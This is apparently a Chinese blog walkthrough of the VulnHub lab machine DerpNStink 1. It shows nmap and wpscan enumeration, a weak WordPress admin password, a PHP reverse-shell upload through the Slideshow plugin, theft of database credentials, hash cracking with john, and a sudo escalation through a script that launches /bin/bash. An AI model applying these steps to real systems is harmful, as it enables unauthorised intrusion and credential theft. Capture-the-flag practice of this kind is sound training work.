Vulnhub:DerpNStink 1靶机

发布时间 2023-04-28 20:41:06作者: ctostm

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

image

通过nmap的http-enum脚本发现目标80端口存在wordpress,访问目标网站的wordpress被重定向到http://derpnstink.local,修改hosts文件再访问

image

通过wpscan枚举出目标存在admin用户

wpscan --url http://derpnstink.local/weblog/ -e u

image

尝试弱口令admin,登录到wordpress后台,在后台发现插件Slideshow存在任意文件上传漏洞

image

image

searchsploit slideshow

image

漏洞利用

直接上传php反弹shell

image

image

上传后访问:http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/php-reverse-shell.php,获得反弹shell

image

提权

在/var/www/html/weblog/wp-config.php,发现mysql数据库账号密码

image

在wordpress数据库的wp_users表中发现两个用户和密码密文

image

使用john爆破unclestinky用户的密码

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

使用密码:wedgie57,切换到用户stinky

image

在/home/stinky/ftp/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/目录下发现私钥文件

image

尝试使用该私钥文件登录到mrderp用户,发现需要密码

image

在/home/stinky/Documents/目录发现一个流量包,下载到kali查看

image

在其中一条post请求中发现mrderp用户的密码:derpderpderpderpderpderpderp

image

登录到mrderp用户

image

查看mrderp用户的sudo权限

image

在/home/mrderp/目录下创建binaries目录,在binaries目录里创建名字为derpy.sh的shell脚本,脚本内容写入提权命令

cd /home/mrderp/
mkdir binaries
cd binaries
echo '/bin/bash' > derpy.sh
chmod 777 derpy.sh
sudo -u root /home/mrderp/binaries/derpy.sh

image

flag

image